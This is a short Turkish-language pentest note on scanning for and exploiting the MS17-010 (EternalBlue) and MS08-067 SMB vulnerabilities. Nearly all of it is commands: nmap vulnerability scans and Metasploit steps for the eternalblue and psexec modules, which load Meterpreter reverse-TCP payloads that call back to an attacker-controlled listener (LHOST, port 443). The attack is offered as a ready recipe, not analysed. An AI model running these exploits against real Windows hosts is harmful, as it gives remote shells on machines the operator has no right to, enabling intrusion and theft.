MS17-010
Nmap ile ms17-010 ve ms08-067 zafiyetine sahip makineleri bulmak ve Exploit Etmek
Öncelikle aşağıdaki nmap komutu ile eternal blue zafiyetine sahip makineler listelenir.nmap -p445 --script smb-vuln-ms17-010 <target>Zafiyetli makineler bulunduktan sonra metasploit ile expxloit etmek için aşağıdaki yönergeler uygulanmalıdır.
msf > use exploit/windows/smb/ms17_010_eternalblue. msf > set payload windows/x64/meterpreter/reverse_tcp msf > set LPORT L_PORT msf > set LHOST L_IP msf > set RHOST R_IP msf > set RPORT R_PORT msf > rub
msf > use windows/smb/ms17_010_psexec
msf > set RHOSTS IP
msf > set payload windows/meterpreter/reverse_tcp_rc4
msf > set RC4PAsSWORD pass
msf > set LHOST KALI_IP
msf > set LPORT 443
msf > exploit
root@kali:~# nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 IP
Last modified 2yr ago